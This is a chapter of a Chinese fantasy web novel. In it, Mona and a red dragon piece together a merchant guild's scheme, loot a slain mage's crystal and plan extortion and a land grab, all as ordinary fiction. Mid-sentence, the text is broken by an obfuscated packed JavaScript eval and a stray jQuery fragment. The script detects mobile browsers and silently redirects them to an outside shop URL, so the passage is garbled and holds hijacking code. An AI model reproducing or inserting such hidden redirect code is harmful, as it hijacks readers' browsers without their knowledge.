“你判断我是自然神选的依据是什么呢?”
莫娜知道自己表现出来的特殊,令精灵长老艾洛恩和大魔法师迪伦都刮目相看,但西泽尔面对矮人托特的时候便说出了“自然神选”这个词。
那时候的她还没表现出能够净化污染的能力,只是一个卖浆果的小商贩而已。
“这是另一个问题吧?”西泽尔歪了歪头,“你先回答我空中过山车是什么。”
“……一种好玩的游戏,你见过马车没?把一节节车厢拼起来,然后让长着翅膀的马拉着一长串车厢飞到空中,以极快的速度上下飞驰,把乘客当沙袋一样甩来甩去,然后吐得一地都是。”
“那确实挺难受的。”西泽尔说完忽然一愣,想起莫娜在望月森林外吐得稀里哗啦那次,“所以你的意思是说,我背着你飞的时候,你会感觉到难受,甚至晚上还会做噩梦吗?”
“……因为我是普通的人类,又不会飞,只能靠我们实力超群的红龙先生了。”莫娜赶紧转移话题,以免自己显得不识好歹。
这样仓促的夸赞,西泽尔却显得很受用,愉悦地眯起眼睛:“这是我的荣幸,索拉公主。”
“红龙先生且继续刚才的话题如何?”
“唔,我也没见过自然神选,可能生活在萨莎山脉的银龙族长见过吧,他已经活了一千多岁了。”西泽尔说,“但我能看出来,你在培育植物方面确实得天独厚,已经超过了药剂师的范畴了,至于你究竟是不是自然神选,那不重要,重要的是艾洛恩怎么看,愿不愿意给你单独开启一次洗礼。”
这个解释让莫娜有些失望。不过世界之大,西泽尔总不可能见过所有的事物,更不是百科全书的化身,她的疑问只能自己解决,自己寻找答案。
“算了,这的确不重要,我用取巧的方式战胜了高级水系魔法师雷米·布朗,不过下次就不一定有这么好运了。”
莫娜翻来覆去地观察地图,眉心微微蹙起。
这份地图看上去只是一张普通的地图,不过她已经通读了《药剂原理》,知道很多纸张都用过特殊的药水浸泡,平时看不见,需要“显影药剂”才能显现出正常的颜色。
西泽尔的手指划过地图,落在怀特自治领的埃雷拉教堂尖顶标志上,莫娜的手腕恰巧也虚悬其上。
她和西泽尔对视一眼。
“你说。”
“你先说。”
“行。”莫娜举起右手,张开五指,“我现在列举所有的线索。”
“第一,永夜商会的人偷走了你的龙鳞。”她屈起第一根手指。
“第二,药剂师公会认为魔能浆果奇货可居,但永夜商会对魔能浆果的渴望并不强烈。”
“第三,永夜商会让雷米·布朗在城内制造‘风暴之雨’来阻止你继续调查,又不知用什么手段吸引来了迪伦,姑且先认为是凋零使魔出没的消息。”
“第四,雷米·布朗用魔法抽取怀特自治领的地下水,导致露茜兄妹背井离乡,怀特自治领民不聊生,领主出走。”
“第五,雷米·布朗豢养了幻鳞王蛇,并且制作药剂‘幻影液’,幻化成你的模样。”
莫娜一口气说完线索,手掌攥成拳头,又竖起一根手指:“现在说我的推论,你可以随时反驳和补充。第一,永夜商会对怀特自治领有所图谋,但他们不想走正常的购买流程,而是装神弄鬼制造恐慌,倒逼怀特领主放弃领地,意图零元购。”
见西泽尔没有出声,莫娜继续道,“第二,永夜商会里有人想变成你的样子做坏事,可能是嫁祸,可能是诬陷和栽赃,也可能是想混进龙族的领地。嗯,最后一句你自辨。”
“第三,他们的图谋和怀特自治领的居民无关,也许他们发现地下埋藏着某样东西,但不能宣之于口,所以希望让这里变成无人区。这样东西一定是商会非常需要的。”
无利不起早,有罗纳特珠玉在前,莫娜完全可以想到永夜商会这些人会做什么。
何况他们能调动的力量比区区一个罗纳特多得多,破坏性自然也不可同日而语。
“还有一点你想不到。”西泽尔的手指无意识地抠弄地图翘起的边角,“凋零使魔可能是他们引来,或者……释放,甚至制造出来的。”
“你说什么?”莫娜简直不敢相信自己的耳朵。
这几个词的意思区别可大了。引来,说明兰尔沃特王国境内原本就有游荡的凋零使魔;释放,说明永夜对封印做了什么见不得人的事情。
至于制造,那就更可怕了。制造是从无到有的过程,是用原材料生产出产品的过程。
难道能制造出凋零使魔的不止枯萎信使,人类也能做到吗?
“我能理解有些资本家不择手段地赚取利润,但他们的目的应该不是害死所有人,把艾尔德兰大陆变成生灵涂炭的地狱。”莫娜想象着那个画面。
如果所有人,以及所有生物都灭绝了,再多的钱有什么用?就像故事里坐在金币上饿死的国王一样。
“这并非我的暴论,而是教皇和十二圣徒们在三十年间总结的学术论断。”西泽尔摊开手,眼神有些无辜,“也许是借鉴了吸血鬼、巫妖、亡灵的来历,但他们的确是如此认为的,认为枯萎信使可能是一位不世出的天才魔法师兼药剂师,遭到了血液疫病的感染而心理扭曲,因此建立起亡灵生物的联盟,目的是将世界改造成适合亡灵生物生存的模样。”
“有种先射箭后画靶的怪异感。”莫娜评价。
简直是为了得出结论而倒推过程……天才魔法师加药剂师,还有未知的血液疫病,血液疫病会让人长寿吗?真有趣。
西泽尔像是看穿了她的想法:“吸血鬼先祖德古拉,就是感染了某种血液疫病,以至于只能生活在阴暗的古堡中,与亡灵生物为伍。”
很像所谓的“遗传性
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17805492|208327||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
卟啉病”……莫娜脑中闪过一个念头。
她尚且只能将其视作异世界特殊遗传病了,毕竟这个世界有龙、有精灵,还有魔法,生个病就长寿,好像不算特别离谱的事情。
至于教廷的推测,她只能说,这个结论未必符合事实,但西泽尔也说了是“学术论断”。
“可能是教廷的人为了安抚民众,编出来的‘科学’解释,嗯,神学解释。总之世界很美好,未来很光明,只要干掉枯萎信使,一切都会好起来的!”
莫娜不再思考有关枯萎信使来历的东西,专心回忆“显影药剂”配方:“你说,我们要调配显影药剂的话,是不是还得去买留影晶石?”
如果她没记错的话,那玩意挺贵的,八金币一颗呢!
西泽尔轻咳一声:“其实,你可以直接去药剂师公会购买成品药剂。”
“……”莫娜抿嘴不语。
她这不是习惯了自己动手丰衣足食嘛!
“去药剂师公会购买,肯定会留下购买记录。”她一脚踩在雷米·布朗的尸体上,“这家伙死了,永夜商会怎么可能善罢甘休?万一查到你我头上来,我们两个岂不是得和永夜商会为敌?”
“查是肯定会查到的,除非你把怀特自治领所有见过你的人都干掉。”西泽尔也有模有样,踹了尸体一脚,“但你现在是旭日商会的经销商,你完全可以说是米兰达指使你来的,把激情杀人变成商业竞争。”
“那倒也是。”莫娜嘿嘿一笑,忽然一拍手,“诶,干脆显影药剂也别买了,我们把地图直接卖给米兰达,如何?大不了再扯迪伦先生的名义,说是他指使我们来怀特自治领调查,米兰达捏着鼻子也得认下。”
“会被压价的,一张地图值多少钱?”西泽尔脚下用力,“不如雷米·布朗的尸体值钱。你若想再赚一笔,这根魔杖上的水元素魔晶石也能卖个两三百金币。”
莫娜听闻,连忙拎起裙子,蹲下来抠魔晶石。
西泽尔看着她咧着嘴欣喜的样子,丝毫没有杀人以及对尸体的恐惧,只有发财的兴奋,心中有种微妙的感觉。
她或许并不是他以为的柔弱需要保护的小姑娘,也不是需要华服和王冠装点的公主,而是……
西泽尔找不到词语形容她。不过这不重要,她就是莫娜·索拉,无需任何人定义。
莫娜把湛蓝的魔晶石装进钱袋子里,再拿起那根光秃秃的魔杖,把玩一番后掰成两半,扔进教堂外的排水渠里。
“走吧,共犯。”她抓起两张地图,朝着西泽尔一笑,“去敲诈米兰达一笔。”
“不用急着去敲诈米兰达。”西泽尔注视着少女如花的笑靥,也微微笑了起来,“怀特自治领的领主已经逃跑了,按照王国法律,这里是无主之地。”
他从莫娜手里抽走一张地图,轻轻点在教堂的尖顶上:“在和米兰达交易前,你可以想办法,成为新的领主。”